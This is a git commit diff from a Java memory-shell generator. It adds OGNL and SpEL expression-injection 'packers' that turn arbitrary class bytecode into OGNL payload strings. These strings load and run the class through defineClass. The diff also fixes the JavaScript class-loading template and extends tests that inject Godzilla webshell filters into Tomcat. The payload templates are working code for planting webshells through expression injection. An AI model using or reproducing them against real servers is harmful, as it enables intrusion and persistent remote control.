feat: support OGNL SpringUtils packers

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent d8851ba83e
commit 6f9ae38add
12 changed files with 95 additions and 18 deletions
@@ -324,8 +324,8 @@ public class ShellAssertionTool {
} }
case ScriptEngine -> VulTool.postData(url + "/js", content); case ScriptEngine -> VulTool.postData(url + "/js", content);
case EL -> VulTool.postData(url + "/el", content); case EL -> VulTool.postData(url + "/el", content);
case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content); case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postData(url + "/spel", content);
case OGNL -> VulTool.postData(url + "/ognl", content); case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postData(url + "/ognl", content);
case MVEL -> VulTool.postData(url + "/mvel", content); case MVEL -> VulTool.postData(url + "/mvel", content);
case JXPath -> VulTool.postData(url + "/jxpath", content); case JXPath -> VulTool.postData(url + "/jxpath", content);
case JEXL -> VulTool.postData(url + "/jexl2", content); case JEXL -> VulTool.postData(url + "/jexl2", content);
@@ -43,9 +43,13 @@ public class Tomcat8ExpressionContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpEL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
@@ -31,6 +31,9 @@ import com.reajason.javaweb.packer.jsp.JspxPacker;
import com.reajason.javaweb.packer.jxpath.JXPathPacker; import com.reajason.javaweb.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.packer.mvel.MVELPacker; import com.reajason.javaweb.packer.mvel.MVELPacker;
import com.reajason.javaweb.packer.ognl.OGNLPacker; import com.reajason.javaweb.packer.ognl.OGNLPacker;
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker;
import com.reajason.javaweb.packer.rhino.RhinoPacker; import com.reajason.javaweb.packer.rhino.RhinoPacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELPacker; import com.reajason.javaweb.packer.spel.SpELPacker;
@@ -83,7 +86,12 @@ public enum Packers {
* EL * EL
*/ */
EL(new ELPacker()), EL(new ELPacker()),
OGNL(new OGNLPacker()), OGNL(new OGNLPacker()),
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class),
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
MVEL(new MVELPacker()), MVEL(new MVELPacker()),
Aviator(new AviatorPacker()), Aviator(new AviatorPacker()),
JXPath(new JXPathPacker()), JXPath(new JXPathPacker()),
@@ -1,19 +1,11 @@
package com.reajason.javaweb.packer.ognl; package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/14 * @since 2024/12/14
*/ */
public class OGNLPacker implements Packer { public class OGNLPacker implements AggregatePacker {
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
} }
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class OGNLScriptEnginePacker implements Packer {
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringIOUtilsGzipPacker implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -28,6 +28,7 @@ public class ScriptEnginePacker implements Packer {
@SneakyThrows @SneakyThrows
public String pack(ClassPackerConfig config) { public String pack(ClassPackerConfig config) {
return jsTemplate return jsTemplate
.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str()) .replace("{{base64Str}}", config.getClassBytesBase64Str())
.replace("\n", "") .replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "") .replaceAll("(?m)^[ \t]+|[ \t]+$", "")
@@ -3,10 +3,10 @@ package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.util.Base64;
import java.util.zip.GZIPOutputStream; import java.util.zip.GZIPOutputStream;
@@ -21,7 +21,7 @@ public class SpELSpringIOUtilsGzipPacker implements Packer {
@SneakyThrows @SneakyThrows
public String pack(ClassPackerConfig config) { public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName()) return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes()))); .replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
} }
public static byte[] gzipCompress(byte[] data) throws IOException { public static byte[] gzipCompress(byte[] data) throws IOException {
+3 -2
View File
@@ -1,4 +1,5 @@
var base64Str = "{{base64Str}}"; var base64Str = "{{base64Str}}";
var className = "{{className}}";
var clsString = java.lang.Class.forName("java.lang.String"); var clsString = java.lang.Class.forName("java.lang.String");
var bytecode; var bytecode;
try { try {
@@ -10,7 +11,7 @@ try {
} }
var clsByteArray = (new java.lang.String("a").getBytes().getClass()); var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE; var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]); var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true); defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance(); clazz.newInstance();
@@ -31,6 +31,8 @@ dependencies {
implementation("com.caucho:hessian:4.0.66") implementation("com.caucho:hessian:4.0.66")
providedCompile("javax.servlet:javax.servlet-api:3.1.0") providedCompile("javax.servlet:javax.servlet-api:3.1.0")
testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher)
} }
tasks.war { tasks.war {
@@ -0,0 +1,17 @@
import ognl.Ognl;
import ognl.OgnlContext;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/7/22
*/
class OgnlServletTest {
@Test
void test() throws Exception {
OgnlContext context = new OgnlContext();
Object value = null;
System.out.println(Ognl.getValue("(new java.io.File('.')).list()", context, context.getRoot()));
}
}